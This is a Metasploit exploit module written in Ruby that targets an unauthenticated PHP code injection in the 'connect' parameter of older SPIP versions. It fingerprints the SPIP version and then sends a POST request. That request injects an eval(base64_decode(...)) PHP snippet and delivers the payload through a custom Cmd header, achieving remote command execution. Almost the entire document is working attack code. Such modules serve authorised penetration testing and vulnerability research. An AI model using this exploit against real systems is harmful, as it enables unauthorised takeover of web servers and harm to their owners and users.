SPIP Connect Parameter PHP Injection

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SPIP connect Parameter PHP Injection',  
'Description' => %q{  
This module exploits a PHP code injection in SPIP. The vulnerability exists in the  
connect parameter and allows an unauthenticated user to execute arbitrary commands  
with web user privileges. Branchs 2.0, 2.1 and 3 are concerned. Vulnerable versions  
are <2.0.21, <2.1.16 and < 3.0.3, but this module works only against branch 2.0 and  
has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with Apache on Ubuntu  
and Fedora linux distributions.  
},  
'Author' =>  
[  
'Arnaud Pachot', #Initial discovery  
'Frederic Cikala', # PoC  
'Davy Douhine' # PoC and MSF module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'OSVDB', '83543' ],  
[ 'BID', '54292' ],  
[ 'URL', 'http://contrib.spip.net/SPIP-3-0-3-2-1-16-et-2-0-21-a-l-etape-303-epate-la' ]  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'Automatic', { } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jul 04 2012'))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']),  
], self.class)  
end  
  
def check  
version = nil  
uri = normalize_uri(target_uri.path, "spip.php")  
  
res = send_request_cgi({ 'uri' => "#{uri}" })  
  
if res and res.code == 200 and res.body =~ /<meta name="generator" content="SPIP (.*) \[/  
version = $1  
end  
  
if version.nil? and res.code == 200 and res.headers["Composed-By"] =~ /SPIP (.*) @/  
version = $1  
end  
  
if version.nil?  
return Exploit::CheckCode::Unknown  
end  
  
vprint_status("SPIP Version detected: #{version}")  
  
if version =~ /^2\.0/ and version < "2.0.21"  
return Exploit::CheckCode::Vulnerable  
elsif version =~ /^2\.1/ and version < "2.1.16"  
return Exploit::CheckCode::Appears  
elsif version =~ /^3\.0/ and version < "3.0.3"  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Safe  
  
end  
  
def exploit  
uri = normalize_uri(target_uri.path, 'spip.php')  
print_status("#{rhost}:#{rport} - Attempting to exploit...")  
res = send_request_cgi(  
{  
'uri' => uri,  
'method' => 'POST',  
'vars_post' => {  
'connect' => "?><? eval(base64_decode($_SERVER[HTTP_CMD])); ?>",  
},  
'headers' => {  
'Cmd' => Rex::Text.encode_base64(payload.encoded)  
}  
})  
end  
  
end  
`